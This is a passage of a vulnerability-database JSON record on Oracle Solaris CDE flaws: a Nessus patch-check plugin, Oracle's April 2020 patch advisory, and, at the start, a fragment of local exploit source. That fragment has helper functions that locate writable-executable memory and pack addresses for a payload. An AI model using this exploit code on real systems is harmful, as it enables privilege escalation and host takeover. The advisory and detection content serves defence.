search_rwx_mem(void)\r\n{\r\n\tint\tfd;\r\n\tchar\ttmp[16];\r\n\tprmap_t\tmap;\r\n\tint\taddr = 0, addr_old;\r\n\r\n\t/* open the proc filesystem */\r\n\tsprintf(tmp,\"/proc/%d/map\", (int)getpid());\r\n\tif ((fd = open(tmp, O_RDONLY)) < 0) {\r\n\t\tfprintf(stderr, \"Can't open %s\\n\", tmp);\r\n\t\texit(1);\r\n\t}\r\n\r\n\t/* search for the last RWX memory segment before stack (last - 1) */\r\n\twhile (read(fd, &map, sizeof(map)))\r\n\t\tif (map.pr_vaddr)\r\n\t\t\tif (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {\r\n\t\t\t\taddr_old = addr;\r\n\t\t\t\taddr = map.pr_vaddr;\r\n\t\t\t}\r\n\tclose(fd);\r\n\r\n\t/* add 4 to the exact address NULL bytes */\r\n\tif (!(addr_old & 0xff))\r\n\t\taddr_old |= 0x04;\r\n\tif (!(addr_old & 0xff00))\r\n\t\taddr_old |= 0x0400;\r\n\r\n\treturn addr_old;\r\n}\r\n\r\n/*\r\n * set_val(): copy a dword inside a buffer (little endian)\r\n */\r\nvoid set_val(char *buf, int pos, int val)\r\n{\r\n\tbuf[pos] =\t(val & 0x000000ff);\r\n\tbuf[pos + 1] =\t(val & 0x0000ff00) >> 8;\r\n\tbuf[pos + 2] =\t(val & 0x00ff0000) >> 16;\r\n\tbuf[pos + 3] =\t(val & 0xff000000) >> 24;\r\n}", "sourceHref": "https://www.exploit-db.com/download/48359", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-01-11T15:09:57", "description": "This Solaris system is missing necessary patches to address critical security updates :\n\n - Vulnerability in the Oracle Solaris product of Oracle Systems (component: Common Desktop Environment).\n Supported versions that are affected are 10 and 11.\n Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Solaris. (CVE-2020-2851)\n\n - Vulnerability in the Oracle Solaris product of Oracle Systems (component: Common Desktop Environment).\n Supported versions that are affected are 10 and 11.\n Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Solaris. (CVE-2020-2927)\n\n - Vulnerability in the Oracle Solaris product of Oracle Systems (component: Common Desktop Environment).\n Supported versions that are affected are 10 and 11.\n Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Solaris executes to compromise Oracle Solaris. While the vulnerability is in Oracle Solaris, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in takeover of Oracle Solaris. (CVE-2020-2944)", "cvss3": {"exploitabilityScore": 2.0, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-16T00:00:00", "type": "nessus", "title": "Oracle Solaris Critical Patch Update : apr2020_SRU11_3_36_20_0", "bulletinFamily": "scanner", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-2851", "CVE-2020-2927", "CVE-2020-2944"], "modified": "2022-08-11T00:00:00", "cpe": ["cpe:/o:oracle:solaris:11.3"], "id": "SOLARIS_APR2020_SRU11_3_36_20_0.NASL", "href": "https://www.tenable.com/plugins/nessus/135667", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from the Oracle CPU for apr2020.\n#\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(135667);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/08/11\");\n\n script_cve_id(\"CVE-2020-2851\", \"CVE-2020-2927\", \"CVE-2020-2944\");\n script_xref(name:\"IAVA\", value:\"2020-A-0154-S\");\n\n script_name(english:\"Oracle Solaris Critical Patch Update : apr2020_SRU11_3_36_20_0\");\n script_summary(english:\"Check for the apr2020 CPU\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\n\"The remote Solaris system is missing a security patch from CPU\napr2020.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This Solaris system is missing necessary patches to address critical\nsecurity updates :\n\n - Vulnerability in the Oracle Solaris product of Oracle\n Systems (component: Common Desktop Environment).\n Supported versions that are affected are 10 and 11.\n Difficult to exploit vulnerability allows low privileged\n attacker with logon to the infrastructure where Oracle\n Solaris executes to compromise Oracle Solaris. While the\n vulnerability is in Oracle Solaris, attacks may\n significantly impact additional products. Successful\n attacks of this vulnerability can result in takeover of\n Oracle Solaris. (CVE-2020-2851)\n\n - Vulnerability in the Oracle Solaris product of Oracle\n Systems (component: Common Desktop Environment).\n Supported versions that are affected are 10 and 11.\n Difficult to exploit vulnerability allows low privileged\n attacker with logon to the infrastructure where Oracle\n Solaris executes to compromise Oracle Solaris. While the\n vulnerability is in Oracle Solaris, attacks may\n significantly impact additional products. Successful\n attacks of this vulnerability can result in takeover of\n Oracle Solaris. (CVE-2020-2927)\n\n - Vulnerability in the Oracle Solaris product of Oracle\n Systems (component: Common Desktop Environment).\n Supported versions that are affected are 10 and 11.\n Easily exploitable vulnerability allows low privileged\n attacker with logon to the infrastructure where Oracle\n Solaris executes to compromise Oracle Solaris. While the\n vulnerability is in Oracle Solaris, attacks may\n significantly impact additional products. Successful\n attacks of this vulnerability can result in takeover of\n Oracle Solaris. (CVE-2020-2944)\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://support.oracle.com/epmos/faces/DocumentDisplay?id=2650589.1\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.oracle.com/a/tech/docs/cpuapr2020cvrf.xml\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.oracle.com/security-alerts/cpuapr2020.html\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Install the apr2020 CPU from the Oracle support website.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:solaris:11.3\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2020/04/15\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/04/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/04/16\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Solaris Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Solaris11/release\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"solaris.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/Solaris11/release\");\nif (isnull(release)) audit(AUDIT_OS_NOT, \"Solaris11\");\n\n\nfix_release = \"0.5.11-0.175.3.36.0.20.0\";\n\nflag = 0;\n\nif (solaris_check_release(release:\"0.5.11-0.175.3.36.0.20.0\", sru:\"11.3.36.20.0\") > 0) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:solaris_get_report2());\n else security_hole(0);\n exit(0);\n}\naudit(AUDIT_OS_RELEASE_NOT, \"Solaris\", fix_release, release);\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "oracle": [{"lastseen": "2022-10-24T19:58:58", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. These patches are usually cumulative, but each advisory describes only the security patches added since the previous Critical Patch Update advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security patches. Please refer to:\n\n * [Critical Patch Updates, Security Alerts and Bulletins](<https://www.oracle.com/security-alerts>) for information about Oracle Security Advisories.\n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update security patches without delay.**\n\nThis Critical Patch Update contains 399 new security patches across the product families listed below. Please note that an MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ April 2020 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/rs?type=doc&id=2652714.1>).\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-04-14T00:00:00", "type": "oracle", "title": "Oracle Critical Patch Update Advisory - April 2020", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-0254", "CVE-2015-1832", "CVE-2015-3253", "CVE-2015-7940", "CVE-2015-9251", "CVE-2016-0701", "CVE-2016-1000031", "CVE-2016-10244", "CVE-2016-10251", "CVE-2016-10328", "CVE-2016-2183", "CVE-2016-2381", "CVE-2016-3092", "CVE-2016-4000", "CVE-2016-4463", "CVE-2016-6306", "CVE-2016-6489", "CVE-2016-7103", "CVE-2016-8610", "CVE-2017-12626", "CVE-2017-13745", "CVE-2017-14232", "CVE-2017-14735", "CVE-2017-15706", "CVE-2017-3160", "CVE-2017-5130", "CVE-2017-5529", "CVE-2017-5533", "CVE-2017-5645", "CVE-2017-5754", "CVE-2017-7857", "CVE-2017-7858", "CVE-2017-7864", "CVE-2017-8105", "CVE-2017-8287", "CVE-2018-0732", "CVE-2018-0734", "CVE-2018-0737", "CVE-2018-1000180", "CVE-2018-1000613", "CVE-2018-1000632", "CVE-2018-1000873", "CVE-2018-10237", "CVE-2018-11054", "CVE-2018-11055", "CVE-2018-11056", "CVE-2018-11057", "CVE-2018-11058", "CVE-2018-11307", "CVE-2018-1165", "CVE-2018-11775", "CVE-2018-11784", "CVE-2018-11797", "CVE-2018-12022", "CVE-2018-12023", "CVE-2018-1258", "CVE-2018-1304", "CVE-2018-1305", "CVE-2018-1320", "CVE-2018-1336", "CVE-2018-14718", "CVE-2018-14719", "CVE-2018-14720", "CVE-2018-14721", "CVE-2018-15756", "CVE-2018-15769", "CVE-2018-17197", "CVE-2018-18227", "CVE-2018-18311", "CVE-2018-18873", "CVE-2018-19139", "CVE-2018-19360", "CVE-2018-19361", "CVE-2018-19362", "CVE-2018-19539", "CVE-2018-19540", "CVE-2018-19541", "CVE-2018-19542", "CVE-2018-19543", "CVE-2018-19622", "CVE-2018-19623", "CVE-2018-19624", "CVE-2018-19625", "CVE-2018-19626", "CVE-2018-19627", "CVE-2018-19628", "CVE-2018-20346", "CVE-2018-20506", "CVE-2018-20570", "CVE-2018-20584", "CVE-2018-20622", "CVE-2018-20843", "CVE-2018-20852", "CVE-2018-5407", "CVE-2018-5711", "CVE-2018-5712", "CVE-2018-6942", "CVE-2018-8014", "CVE-2018-8032", "CVE-2018-8034", "CVE-2018-8036", "CVE-2018-8037", "CVE-2018-8039", "CVE-2018-9055", "CVE-2018-9154", "CVE-2018-9252", "CVE-2019-0196", "CVE-2019-0197", "CVE-2019-0199", "CVE-2019-0211", "CVE-2019-0215", "CVE-2019-0217", "CVE-2019-0220", "CVE-2019-0221", "CVE-2019-0222", "CVE-2019-0227", "CVE-2019-0228", "CVE-2019-0232", "CVE-2019-10072", "CVE-2019-10081", "CVE-2019-10082", "CVE-2019-10086", "CVE-2019-10088", "CVE-2019-10092", "CVE-2019-10093", "CVE-2019-10094", "CVE-2019-10097", "CVE-2019-10098", "CVE-2019-1010238", "CVE-2019-10173", "CVE-2019-10246", "CVE-2019-10247", "CVE-2019-11358", "CVE-2019-12086", "CVE-2019-12384", "CVE-2019-12387", "CVE-2019-12402", "CVE-2019-12406", "CVE-2019-12415", "CVE-2019-12418", "CVE-2019-12419", "CVE-2019-12855", "CVE-2019-13057", "CVE-2019-13565", "CVE-2019-13990", "CVE-2019-14379", "CVE-2019-14439", "CVE-2019-14540", "CVE-2019-14821", "CVE-2019-14889", "CVE-2019-15161", "CVE-2019-15162", "CVE-2019-15163", "CVE-2019-15164", "CVE-2019-15165", "CVE-2019-1543", "CVE-2019-1547", "CVE-2019-1549", "CVE-2019-1552", "CVE-2019-15601", "CVE-2019-15604", "CVE-2019-15605", "CVE-2019-15606", "CVE-2019-1563", "CVE-2019-15903", "CVE-2019-16056", "CVE-2019-16168", "CVE-2019-16335", "CVE-2019-16942", "CVE-2019-16943", "CVE-2019-17091", "CVE-2019-17195", "CVE-2019-17359", "CVE-2019-17531", "CVE-2019-17563", "CVE-2019-17571", "CVE-2019-18197", "CVE-2019-19242", "CVE-2019-19244", "CVE-2019-19269", "CVE-2019-19317", "CVE-2019-19553", "CVE-2019-19603", "CVE-2019-19645", "CVE-2019-19646", "CVE-2019-19880", "CVE-2019-19923", "CVE-2019-19924", "CVE-2019-19925", "CVE-2019-19926", "CVE-2019-19959", "CVE-2019-20218", "CVE-2019-20330", "CVE-2019-2412", "CVE-2019-2725", "CVE-2019-2729", "CVE-2019-2756", "CVE-2019-2759", "CVE-2019-2852", "CVE-2019-2853", "CVE-2019-2878", "CVE-2019-2880", "CVE-2019-2899", "CVE-2019-2904", "CVE-2019-3008", "CVE-2019-5427", "CVE-2019-5435", "CVE-2019-5436", "CVE-2019-5443", "CVE-2019-5481", "CVE-2019-5482", "CVE-2019-8457", "CVE-2019-9517", "CVE-2019-9579", "CVE-2020-2514", "CVE-2020-2522", "CVE-2020-2524", "CVE-2020-2553", "CVE-2020-2558", "CVE-2020-2575", "CVE-2020-2578", "CVE-2020-2594", "CVE-2020-2680", "CVE-2020-2706", "CVE-2020-2733", "CVE-2020-2734", "CVE-2020-2735", "CVE-2020-2737", "CVE-2020-2738", "CVE-2020-2739", "CVE-2020-2740", "CVE-2020-2741", "CVE-2020-2742", "CVE-2020-2743", "CVE-2020-2744", "CVE-2020-2745", "CVE-2020-2746", "CVE-2020-2747", "CVE-2020-2748", "CVE-2020-2749", "CVE-2020-2750", "CVE-2020-2751", "CVE-2020-2752", "CVE-2020-2753", "CVE-2020-2754", "CVE-2020-2755", "CVE-2020-2756", "CVE-2020-2757", "CVE-2020-2758", "CVE-2020-2759", "CVE-2020-2760", "CVE-2020-2761", "CVE-2020-2762", "CVE-2020-2763", "CVE-2020-2764", "CVE-2020-2765", "CVE-2020-2766", "CVE-2020-2767", "CVE-2020-2768", "CVE-2020-2769", "CVE-2020-2770", "CVE-2020-2771", "CVE-2020-2772", "CVE-2020-2773", "CVE-2020-2774", "CVE-2020-2775", "CVE-2020-2776", "CVE-2020-2777", "CVE-2020-2778", "CVE-2020-2779", "CVE-2020-2780", "CVE-2020-2781", "CVE-2020-2782", "CVE-2020-2783", "CVE-2020-2784", "CVE-2020-2785", "CVE-2020-2786", "CVE-2020-2787", "CVE-2020-2789", "CVE-2020-2790", "CVE-2020-2791", "CVE-2020-2793", "CVE-2020-2794", "CVE-2020-2795", "CVE-2020-2796", "CVE-2020-2797", "CVE-2020-2798", "CVE-2020-2799", "CVE-2020-2800", "CVE-2020-2801", "CVE-2020-2802", "CVE-2020-2803", "CVE-2020-2804", "CVE-2020-2805", "CVE-2020-2806", "CVE-2020-2807", "CVE-2020-2808", "CVE-2020-2809", "CVE-2020-2810", "CVE-2020-2811", "CVE-2020-2812", "CVE-2020-2813", "CVE-2020-2814", "CVE-2020-2815", "CVE-2020-2816", "CVE-2020-2817", "CVE-2020-2818", "CVE-2020-2819", "CVE-2020-2820", "CVE-2020-2821", "CVE-2020-2822", "CVE-2020-2823", "CVE-2020-2824", "CVE-2020-2825", "CVE-2020-2826", "CVE-2020-2827", "CVE-2020-2828", "CVE-2020-2829", "CVE-2020-2830", "CVE-2020-2831", "CVE-2020-2832", "CVE-2020-2833", "CVE-2020-2834", "CVE-2020-2835", "CVE-2020-2836", "CVE-2020-2837", "CVE-2020-2838", "CVE-2020-2839", "CVE-2020-2840", "CVE-2020-2841", "CVE-2020-2842", "CVE-2020-2843", "CVE-2020-2844", "CVE-2020-2845", "CVE-2020-2846", "CVE-2020-2847", "CVE-2020-2848", "CVE-2020-2849", "CVE-2020-2850", "CVE-2020-2851", "CVE-2020-2852", "CVE-2020-2853", "CVE-2020-2854", "CVE-2020-2855", "CVE-2020-2856", "CVE-2020-2857", "CVE-2020-2858", "CVE-2020-2859", "CVE-2020-2860", "CVE-2020-2861", "CVE-2020-2862", "CVE-2020-2863", "CVE-2020-2864", "CVE-2020-2865", "CVE-2020-2866", "CVE-2020-2867", "CVE-2020-2868", "CVE-2020-2869", "CVE-2020-2870", "CVE-2020-2871", "CVE-2020-2872", "CVE-2020-2873", "CVE-2020-2874", "CVE-2020-2875", "CVE-2020-2876", "CVE-2020-2877", "CVE-2020-2878", "CVE-2020-2879", "CVE-2020-2880", "CVE-2020-2881", "CVE-2020-2882", "CVE-2020-2883", "CVE-2020-2884", "CVE-2020-2885", "CVE-2020-2886", "CVE-2020-2887", "CVE-2020-2888", "CVE-2020-2889", "CVE-2020-2890", "CVE-2020-2891", "CVE-2020-2892", "CVE-2020-2893", "CVE-2020-2894", "CVE-2020-2895", "CVE-2020-2896", "CVE-2020-2897", "CVE-2020-2898", "CVE-2020-2899", "CVE-2020-2900", "CVE-2020-2901", "CVE-2020-2902", "CVE-2020-2903", "CVE-2020-2904", "CVE-2020-2905", "CVE-2020-2906", "CVE-2020-2907", "CVE-2020-2908", "CVE-2020-2909", "CVE-2020-2910", "CVE-2020-2911", "CVE-2020-2912", "CVE-2020-2913", "CVE-2020-2914", "CVE-2020-2915", "CVE-2020-2920", "CVE-2020-2921", "CVE-2020-2922", "CVE-2020-2923", "CVE-2020-2924", "CVE-2020-2925", "CVE-2020-2926", "CVE-2020-2927", "CVE-2020-2928", "CVE-2020-2929", "CVE-2020-2930", "CVE-2020-2931", "CVE-2020-2932", "CVE-2020-2933", "CVE-2020-2934", "CVE-2020-2935", "CVE-2020-2936", "CVE-2020-2937", "CVE-2020-2938", "CVE-2020-2939", "CVE-2020-2940", "CVE-2020-2941", "CVE-2020-2942", "CVE-2020-2943", "CVE-2020-2944", "CVE-2020-2945", "CVE-2020-2946", "CVE-2020-2947", "CVE-2020-2949", "CVE-2020-2950", "CVE-2020-2951", "CVE-2020-2952", "CVE-2020-2953", "CVE-2020-2954", "CVE-2020-2955", "CVE-2020-2956", "CVE-2020-2958", "CVE-2020-2959", "CVE-2020-2961", "CVE-2020-2963", "CVE-2020-2964", "CVE-2020-5397", "CVE-2020-5398", "CVE-2020-7044", "CVE-2020-8840"], "modified": "2020-07-20T00:00:00", "id": "ORACLE:CPUAPR2020", "href": "https://www.oracle.com/security-alerts/cpuapr2020.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}